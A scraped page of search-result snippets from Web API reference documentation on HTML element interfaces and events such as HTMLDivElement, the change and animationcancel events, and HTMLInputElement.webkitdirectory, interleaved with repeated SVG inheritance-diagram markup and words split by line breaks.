ext></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50...
..." fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">node</t
ext></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">element</t
ext></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" ...
...stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">htmlelement</t
ext></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlbaseelement" target="_top"><rect x="341" y="65" width="150" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><t
ext x="416" y="94" font-size="12px" font-f...
...And 2 more matches
HTMLDivElement - Web APIs
play: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">eventtarget</t
ext></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50...
..." fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">node</t
ext></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">element</t
ext></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" ...
...stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">htmlelement</t
ext></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmldivelement" target="_top"><rect x="351" y="65" width="140" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><t
ext x="421" y="94" font-size="12px" font-fa...
...And 2 more matches
HTMLDocument - Web APIs
the htmldocument interface, which may be accessed through the window.htmldocument property,
extends the window.htmldocument property to include methods and properties that are specific to html documents.
...ock; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">eventtarget</t
ext></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50...
..." fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">node</t
ext></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/document" target="_top"><rect x="266" y="1" width="80" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="306" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">document</t
ext></a><polyline points="346,25 356,20 356,30 346,25" stroke="#d4dde4" fill="none"/><line x1="356" y1="25" x2="386" y2="25" ...
...And 2 more matches
HTMLElement: animationcancel event - Web APIs
the animationcancel event is fired when a css animation un
expectedly aborts.
... bubbles yes cancelable no interface animationevent event handler property onanimationcancel
examples this code gets an element that's currently being animated and adds a listener to the animationcancel event.
...r('.animated'); animated.addeventlistener('animationcancel', () => { console.log('animation canceled'); }); animated.style.display = 'none'; the same, but using the onanimationcancel property instead of addeventlistener(): const animated = document.queryselector('.animated'); animated.onanimationcancel = () => { console.log('animation canceled'); }; animated.style.display = 'none'; live
example html <div class="animation-
example"> <div class="container"> <p class="animation">you chose a cold night to visit our planet.</p> </div> <button class="activate" type="button">activate animation</button> <div class="event-log"></div> </div> css .container { height: 3rem; } .event-log { width: 25rem; height: 2rem; border: 1px solid black; margin: 0.2rem...
...And 2 more matches
HTMLElement: change event - Web APIs
the change event is fired for <input>, <select>, and <t
extarea> elements when an alteration to the element's value is committed by the user.
... cancelable no interface event event handler property onchange depending on the kind of element being changed and the way the user interacts with the element, the change event fires at a different moment: when the element is :checked (by clicking or using the keyboard) for <input type="radio"> and <input type="checkbox">; when the user commits the change
explicitly (e.g., by selecting a value from a <select>'s dropdown with a mouse click, by selecting a date from a date picker for <input type="date">, by selecting a file in the file picker for <input type="file">, etc.); when the element loses focus after its value was changed, but not commited (e.g., after editing the value of <t
extarea> or <input type="t
ext">).
...
examples <select> element html <label>choose an ice cream flavor: <select class="ice-cream" name="ice-cream"> <option value="">select one …</option> <option value="chocolate">chocolate</option> <option value="sardine">sardine</option> <option value="vanilla">vanilla</option> </select> </label> <div class="result"></div> body { display: grid; grid-template-areas: "select result"; } select { grid-area: select; } .result { grid-area: result; } javascript const selectelement = document.queryselector('.ice-cream'); selectelement.addeventlistener('change', (event) => { const result = document.queryselector('.result'); result.t
extcontent = `you like ${event.target.va...
...And 2 more matches
HTMLElement.lang - Web APIs
the htmlelement.lang property gets or sets the base language of an element's attribute values and t
ext content.
...common
examples include "en" for english, "ja" for japanese, "es" for spanish and so on.
... syntax var languageused = elementnodereference.lang; // get the value of lang elementnodereference.lang = newlanguage; // set new value for lang languageused is a string variable that gets the language in which the t
ext of the current element is written.
...And 2 more matches
HTMLElement.onpaste - Web APIs
the paste event fires when the user attempts to paste t
ext.
... note that there is currently no dom-only way to obtain the t
ext being pasted; you'll have to use an nsiclipboard to get that information.
... syntax target.onpaste = functionref; value functionref is a function name or a function
expression.
...And 2 more matches
HTMLEmbedElement - Web APIs
play: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">eventtarget</t
ext></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50...
..." fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">node</t
ext></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">element</t
ext></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" ...
...stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">htmlelement</t
ext></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlembedelement" target="_top"><rect x="331" y="65" width="160" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><t
ext x="411" y="94" font-size="12px" font-...
...And 2 more matches
HTMLFormElement.elements - Web APIs
you can access a particular form control in the returned collection by using either an ind
ex or the element's name or id.
... the elements included by htmlformelement.elements and htmlformelement.length are the following: <button> <fieldset> <input> (with the
exception that any whose type is "image" are omitted for historical reasons) <object> <output> <select> <t
extarea> no other elements are included in the list returned by elements, which makes it an
excellent way to get at the elements most important when processing forms.
...
example quick syntax
example in this
example, we see how to obtain the list of form controls as well as how to access its members by ind
ex and by name or id.
...And 2 more matches
HTMLHeadingElement - Web APIs
play: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">eventtarget</t
ext></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50...
..." fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">node</t
ext></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">element</t
ext></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" ...
...stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">htmlelement</t
ext></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlheadingelement" target="_top"><rect x="311" y="65" width="180" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><t
ext x="401" y="94" font-size="12px" fon...
...And 2 more matches
HTMLImageElement.longDesc - Web APIs
the obsolete property longdesc on the htmlimageelement interface specifies the url of a t
ext or html file which contains a long-form description of the image.
... for
example, if the image is a png of a flowchart.
... the longdesc property could be used to provide an
explanation of the flow of control represented by the chart, using only t
ext.
...And 2 more matches
HTMLImageElement.y - Web APIs
in other words: it has either of those values set
explicitly on it, or it has inherited it from a containing element, or by being located within a column described by either <col> or <colgroup>.
...
example the
example below demonstrates the use of the htmlimageelement properties x and y.
... html in this
example, we see a table showing information about users of a web site, including their user id, their full name, and their avatar image.
...And 2 more matches
HTMLInputElement.webkitdirectory - Web APIs
for
example, consider this file system: photoalbums birthdays jamie's 1st birthday pic1000.jpg pic1004.jpg pic1044.jpg don's 40th birthday pic2343.jpg pic2344.jpg pic2355.jpg pic2356.jpg vacations mars pic5533.jpg pic5534.jpg pic5556.jpg ...
...
example in this
example, a directory picker is presented which lets the user choose one or more directories.
... desktopmobilechromeedgefirefoxinternet
exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetwebkitdirectory non-standardchrome full support 13edge full support 13firefox full support 50ie no support ...
...And 2 more matches
HTMLLIElement - Web APIs
the htmllielement interface
exposes specific properties and methods (beyond those defined by regular htmlelement interface it also has available to it by inheritance) for manipulating list elements.
...play: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">eventtarget</t
ext></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50...
..." fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">node</t
ext></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">element</t
ext></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" ...
...And 2 more matches
HTMLLinkElement - Web APIs
the htmllinkelement interface represents reference information for
external resources and the relationship of those resources to a document and vice-versa (corresponds to <link> element; not to be confused with <a>, which is represented by htmlanchorelement).
...play: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">eventtarget</t
ext></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50...
..." fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">node</t
ext></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">element</t
ext></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" ...
...And 2 more matches
HTMLMapElement - Web APIs
play: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">eventtarget</t
ext></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50...
..." fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">node</t
ext></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">element</t
ext></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" ...
...stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">htmlelement</t
ext></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlmapelement" target="_top"><rect x="351" y="65" width="140" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><t
ext x="421" y="94" font-size="12px" font-fa...
...And 2 more matches
HTMLMenuElement - Web APIs
play: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">eventtarget</t
ext></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50...
..." fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">node</t
ext></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">element</t
ext></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" ...
...stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">htmlelement</t
ext></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlmenuelement" target="_top"><rect x="341" y="65" width="150" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><t
ext x="416" y="94" font-size="12px" font-f...
...And 2 more matches
HTMLMeterElement - Web APIs
the html <meter> elements
expose the htmlmeterelement interface, which provides special properties and methods (beyond the htmlelement object interface they also have available to them by inheritance) for manipulating the layout and presentation of <meter> elements.
...play: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">eventtarget</t
ext></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50...
..." fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">node</t
ext></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">element</t
ext></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" ...
...And 2 more matches
HTMLModElement - Web APIs
play: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">eventtarget</t
ext></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50...
..." fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">node</t
ext></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">element</t
ext></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" ...
...stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">htmlelement</t
ext></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlmodelement" target="_top"><rect x="351" y="65" width="140" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><t
ext x="421" y="94" font-size="12px" font-fa...
...And 2 more matches
HTMLParagraphElement - Web APIs
play: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">eventtarget</t
ext></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50...
..." fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">node</t
ext></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">element</t
ext></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" ...
...stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><t
ext x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" t
ext-anchor="middle" alignment-baseline="middle">htmlelement</t
